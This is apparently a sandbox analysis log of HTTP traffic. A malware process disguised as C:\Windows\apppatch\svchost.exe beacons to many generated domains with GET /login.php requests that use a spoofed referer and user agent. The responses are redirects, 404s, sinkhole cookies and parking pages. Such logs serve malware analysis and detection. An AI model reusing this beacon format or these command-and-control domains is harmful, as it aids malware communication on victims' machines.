Nov 11, 2024 18:50:31.640822887 CET	982	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:50:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RIwduwIy7RZ6%2FkLQBQf403pwfjWpAWiKjPeEO5OXIjxfrYJbWgCIofXatTuAtbmzfufLg8xaZW%2FBS12BukB0wzRQuMOXx303Q%2F7xy8Y%2FUDUdU%2Ffvs0S8eoH%2BqXzB2g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e102005cc2a436e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1218&sent=4&recv=6&lost=0&retrans=0&sent_bytes=972&recv_bytes=486&delivery_rate=2367947&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 11, 2024 18:50:48.291348934 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:50:48.643071890 CET	975	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:50:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P8rC8xQHXQATHg8yOimx3atl5fCpL8ZpSiV9cOkHfuqCIIImDg45nGGIepvPuXwFeLRbcMSnyQ%2FRu89fS6m8tPRsr%2F4Hs0BpQjQ19fkwSZuRdArEkDLykq4b2kCGpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1020700e32436e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1195&sent=7&recv=9&lost=0&retrans=0&sent_bytes=1954&recv_bytes=729&delivery_rate=2367947&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 11, 2024 18:50:50.023302078 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Nov 11, 2024 18:50:50.392663002 CET	981	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 11 Nov 2024 17:50:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://qegyhig.com/login.php cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SPhkxOzOMhFiNpMS9y92CWC8TzQKd9pjd91zXQqNhpTREZD2W%2B%2BeC2Obxh2B6mD0BcAIS6sN1SuWEzs6zHASSYc4zZoyE%2FfFfdP09m5FKPhdeqeaVaf%2FW5QgAv%2FNDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10207aed72436e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1183&sent=10&recv=12&lost=0&retrans=0&sent_bytes=2929&recv_bytes=972&delivery_rate=2381578&cwnd=4&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49719	44.221.84.105	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.571708918 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com
Nov 11, 2024 18:50:28.995461941 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49720	44.221.84.105	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.613887072 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com
Nov 11, 2024 18:50:29.047924995 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49721	75.2.71.199	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.623383999 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49722	208.100.26.245	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.638107061 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:50:29.129251003 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:50:29 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:29.835262060 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:50:29.938725948 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:50:29 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:48.354407072 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:50:48.461287022 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:50:48 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 11, 2024 18:50:48.575489998 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:50:48.686667919 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:50:48 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49723	199.59.243.227	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.681142092 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com
Nov 11, 2024 18:50:29.132131100 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:50:28 GMT content-type: text/html; charset=utf-8 content-length: 1094 x-request-id: 1e890a73-ac3b-42d0-806f-39725fa4b723 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ== set-cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723; expires=Mon, 11 Nov 2024 18:05:29 GMT; path=/ Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
Nov 11, 2024 18:50:29.132220984 CET	528	IN	Data Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWU4OTBhNzMtYWMzYi00MmQwLTgwNmYtMzk3MjVmYTRiNzIzIiwicGFnZV90aW1lIjoxNzMxMzQ3NDI5LCJwYWdlX3VybCI6I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49724	23.253.46.64	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.866193056 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Nov 11, 2024 18:50:29.336357117 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Mon, 11 Nov 2024 17:50:23 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Nov 11, 2024 18:50:29.336369038 CET	169	IN	Data Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49725	85.17.31.122	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:28.902904034 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49726	75.2.71.199	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
